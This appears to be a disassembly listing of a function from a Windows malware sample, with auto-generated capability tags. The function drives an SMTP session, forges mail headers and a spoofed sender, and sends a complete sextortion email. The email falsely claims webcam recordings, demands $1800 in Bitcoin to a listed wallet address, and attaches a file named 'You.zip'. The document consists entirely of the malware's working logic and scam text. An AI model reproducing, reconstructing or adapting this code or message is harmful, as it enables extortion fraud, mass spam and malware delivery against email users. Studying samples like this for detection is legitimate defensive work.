Function at 0x401e10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x92c
mov dword [ebp - 8], 0
push 0x40
mov eax, dword [ebp + 8]
push eax
call fcn.00402a70
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402a43
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00401450
add esp, 8
test eax, eax
je 0x402a43
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x402a43
cmp dword [ebp - 0x1c], 0xffffffff
je 0x402a43
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x402a2d
mov dword [ebp - 0x8c], 1
push 4
lea eax, [ebp - 0x8c]
push eax
push 1
push 6
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0
je 0x402a21
cmp dword [ebp - 0x20], 8
je 0x402a21
push 0x400
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401610
add esp, 0xc
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jne 0x401f00
jmp 0x402a21
mov ecx, dword [ebp - 0x90]
mov byte [ebp + ecx - 0x490], 0
lea edx, [ebp - 0x490]
push edx
call fcn.00401670
add esp, 4
test eax, eax
jne 0x401f26
jmp 0x402a21
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x92c], eax
mov ecx, dword [ebp - 0x92c]
sub ecx, 1
mov dword [ebp - 0x92c], ecx
cmp dword [ebp - 0x92c], 6
ja case.0x401f51.1
mov edx, dword [ebp - 0x92c]
jmp dword [edx*4 + 0x402a4c]
push str.ESMTP
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x401f90
push 0x406520
push str.EHLO__s_r_n
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x494], eax
jmp 0x401fb0
push 0x406520
push str.HELO__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x401fda
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
mov dword [ebp - 0x20], 3
jmp case.0x401f51.1
lea eax, [ebp - 0x4d4]
push eax
call fcn.00401c80
add esp, 4
push eax
lea ecx, [ebp - 0x4a0]
push ecx
push 2
call fcn.004017d0
add esp, 8
push eax
push str._Jenny_s__s_
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x88]
push eax
push str.MAIL_FROM:__s_r_n
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x4d8], eax
mov edx, dword [ebp - 0x4d8]
push edx
lea eax, [ebp - 0x490]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x402069
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
mov dword [ebp - 0x20], 4
jmp case.0x401f51.1
mov edx, dword [ebp + 8]
push edx
push str.RCPT_TO:___s__r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x4020be
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
mov dword [ebp - 0x20], 5
jmp case.0x401f51.1
push 0xffffffffffffffff
push str.DATA_r_n
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x4020ed
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
mov dword [ebp - 0x20], 6
jmp case.0x401f51.1
lea edx, [ebp - 0x724]
push edx
push 5
call fcn.004017d0
add esp, 8
push eax
push str._s.com
lea eax, [ebp - 0x610]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
lea ecx, [ebp - 0x818]
push ecx
push 0
call fcn.00401940
add esp, 0xc
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea edx, [ebp - 0x798]
push edx
push 0
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0x798]
push eax
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xd2
idiv ecx
add edx, 1
push edx
lea edx, [ebp - 0x7b0]
push edx
push 7
call fcn.00401840
add esp, 8
push eax
push str.Received:_from__s____d._d._d._d___by__s_with_MailEnable_ESMTP___s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x81c]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x4021fa
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0x730]
push edx
push 3
call fcn.004017d0
add esp, 8
push eax
lea eax, [ebp - 0x7a4]
push eax
push 5
call fcn.004017d0
add esp, 8
push eax
push str.Received:__qmail__s_invoked_by_uid__s____s_r_n
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x81c], eax
mov edx, dword [ebp - 0x81c]
push edx
lea eax, [ebp - 0x490]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x40226a
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
lea edx, [ebp - 0x88]
push edx
push str.From:_Jenny_Green__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x81c]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x4022b6
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
mov ecx, dword [ebp + 8]
push ecx
push str.To:__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x81c]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x4022ff
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
push str.I_RECORDED_YOU_
push str.Subject:__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x81c]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x402349
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
lea ecx, [ebp - 0x798]
push ecx
push str.Date:__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x81c]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x402395
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
lea eax, [ebp - 0x610]
push eax
lea ecx, [ebp - 0x730]
push ecx
push 5
call fcn.004017d0
add esp, 8
push eax
lea edx, [ebp - 0x7a4]
push edx
push 7
call fcn.004017d0
add esp, 8
push eax
push str.Message_ID:___s._s__s__r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x81c]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x402405
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
push 0xffffffffffffffff
push str.Mime_Version:_1.0_r_n
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x402428
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
lea edx, [ebp - 0x730]
push edx
push 4
call fcn.004017d0
add esp, 8
push eax
lea eax, [ebp - 0x7a4]
push eax
push 5
call fcn.004017d0
add esp, 8
push eax
lea ecx, [ebp - 0x7b0]
push ecx
push 3
call fcn.00401840
add esp, 8
push eax
push str._s_s_s
lea edx, [ebp - 0x5a8]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x5a8]
push eax
push str.Content_Type:_multipart_mixed__boundary___s__r_n_r_n
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x81c], eax
push 0xffffffffffffffff
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x4024ba
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
lea ecx, [ebp - 0x5a8]
push ecx
push 0x4045f8
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x81c], eax
push 0xffffffffffffffff
lea eax, [ebp - 0x490]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x402501
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
push str.Content_Type:_text_plain__r_n_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov dword [ebp - 0x81c], eax
push 0xffffffffffffffff
lea eax, [ebp - 0x490]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x402541
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
push 0x104
push 0
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
push str.Hello_there__r_n_r_n
lea eax, [ebp - 0x718]
push eax
call sub.MSVCR90.dll_strcpy
add esp, 8
push str.Unfortunately__there_are_some_bad_news_for_you._r_n_r_n
lea ecx, [ebp - 0x718]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Some_time_ago_your_device_was_infected_with_my_private_trojan__R.A.T__Remote_Administration_Tool___if_you_want_to_find_out_more_about_it_simply_use_Google._r_n_r_n
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.My_trojan_allowed_me_to_access_your_files__accounts_and_your_camera._r_n_r_n
lea eax, [ebp - 0x718]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Check_the_sender_of_this_email__I_have_sent_it_from_your_email_account._r_n_r_n
lea ecx, [ebp - 0x718]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.To_make_sure_you_read_this_email__you_will_receive_it_multiple_times._r_n_r_n
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.You_truly_enjoy_checking_out_porn_websites_and_watching_dirty_videos__while_having_a_lot_of_kinky_fun._r_n_r_n
lea eax, [ebp - 0x718]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.I_RECORDED_YOU__through_your_camera__SATISFYING_YOURSELF__r_n_r_n
lea ecx, [ebp - 0x718]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.After_that_I_removed_my_malware_to_not_leave_any_traces._r_n_r_n
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.If_you_still_doubt_my_serious_intentions__it_only_takes_couple_mouse_clicks_to_share_the_video_of_you_with_your_friends__relatives__all_email_contacts__on_social_networks__the_darknet_and_to_publish_all_your_files._r_n_r_n
lea eax, [ebp - 0x718]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.All_you_need_is__1800_USD_in_Bitcoin__BTC__transfer_to_my_account._r_n_r_n
lea ecx, [ebp - 0x718]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.After_the_transaction_is_successful__I_will_proceed_to_delete_everything._r_n_r_n
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push 0xffffffffffffffff
lea eax, [ebp - 0x718]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x40266c
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
push 0x104
push 0
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
push str.Be_sure__I_keep_my_promises._r_n_r_n
lea eax, [ebp - 0x718]
push eax
call sub.MSVCR90.dll_strcpy
add esp, 8
push str.You_can_easily_buy_Bitcoin__BTC__here:_r_n_r_n
lea ecx, [ebp - 0x718]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.https:__cex.io_buy_bitcoins_n
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.https:__nexo.com_buy_crypto_bitcoin_btc_n
lea eax, [ebp - 0x718]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.https:__bitpay.com_buy_bitcoin__cryptoBTC_n
lea ecx, [ebp - 0x718]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.https:__paybis.com__n
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.https:__invity.io_buy_crypto_r_n_r_n
lea eax, [ebp - 0x718]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Or_simply_google_other_exchanger._r_n_r_n
lea ecx, [ebp - 0x718]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.After_that_send_the_Bitcoin__BTC__directly_to_my_wallet__or_install_the_free_software:_Atomicwallet__or:_Exodus_wallet__then_receive_and_send_to_mine._r_n_r_n
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.My_Bitcoin__BTC__address_is:_1EfCwNrGgGbNAn4bKUX7XydSzFu4RHheC4_r_n_r_n
lea eax, [ebp - 0x718]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Yes__thats_how_the_address_looks_like__copy_and_paste_my_address__its__cAsE_sEnSEtiVE_._r_n_r_n
lea ecx, [ebp - 0x718]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.You_are_given_not_more_than_3_days_after_you_have_opened_this_email._r_n_r_n
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.As_I_got_access_to_this_email_account__I_will_know_if_this_email_has_already_been_read._r_n_r_n
lea eax, [ebp - 0x718]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Everything_will_be_carried_out_based_on_fairness._r_n_r_n
lea ecx, [ebp - 0x718]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.An_advice_from_me__regularly_change_all_your_passwords_to_your_accounts_and_update_your_device_with_newest_security_patches._r_n._r_n
lea edx, [ebp - 0x718]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push 0xffffffffffffffff
lea eax, [ebp - 0x718]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x4027d3
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
lea edx, [ebp - 0x5a8]
push edx
push str.___s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x81c], eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x40281a
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
push str.Content_Type:_application_zip_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov dword [ebp - 0x81c], eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x40285a
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
push str.Content_Transfer_Encoding:_base64_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov dword [ebp - 0x81c], eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x40289a
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
push str.Content_Disposition:_attachment__filename__You.zip__r_n_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov dword [ebp - 0x81c], eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x4028da
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
push 0x404ec0
push 0x406760
call sub.MSVCR90.dll__wfopen
add esp, 8
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x820], 0
je 0x402972
push 0x104
push 0
lea eax, [ebp - 0x928]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov ecx, dword [ebp - 0x820]
push ecx
call sub.MSVCR90.dll_feof
add esp, 4
test eax, eax
jne 0x402963
lea edx, [ebp - 0x928]
push edx
push 0x404ec8
mov eax, dword [ebp - 0x820]
push eax
call sub.MSVCR90.dll_fscanf
add esp, 0xc
push 0xffffffffffffffff
lea ecx, [ebp - 0x928]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x402961
mov dword [ebp - 0x20], 0
jmp 0x402963
jmp 0x402911
mov eax, dword [ebp - 0x820]
push eax
call sub.MSVCR90.dll_fclose
add esp, 4
push 0xffffffffffffffff
push 0x404ecc
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x402995
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
lea edx, [ebp - 0x5a8]
push edx
push str.___s___r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x81c], eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x4029d9
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
push 0xffffffffffffffff
push str._r_n._r_n
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004015d0
add esp, 0xc
test eax, eax
jne 0x4029f9
mov dword [ebp - 0x20], 0
jmp case.0x401f51.1
mov dword [ebp - 0x20], 7
jmp case.0x401f51.1
push 0xffffffffffffffff
push str.QUIT
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004015d0
add esp, 0xc
mov dword [ebp - 0x20], 8
jmp 0x401ec0
xor edx, edx
cmp dword [ebp - 0x20], 8
sete dl
mov dword [ebp - 8], edx
push 2
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret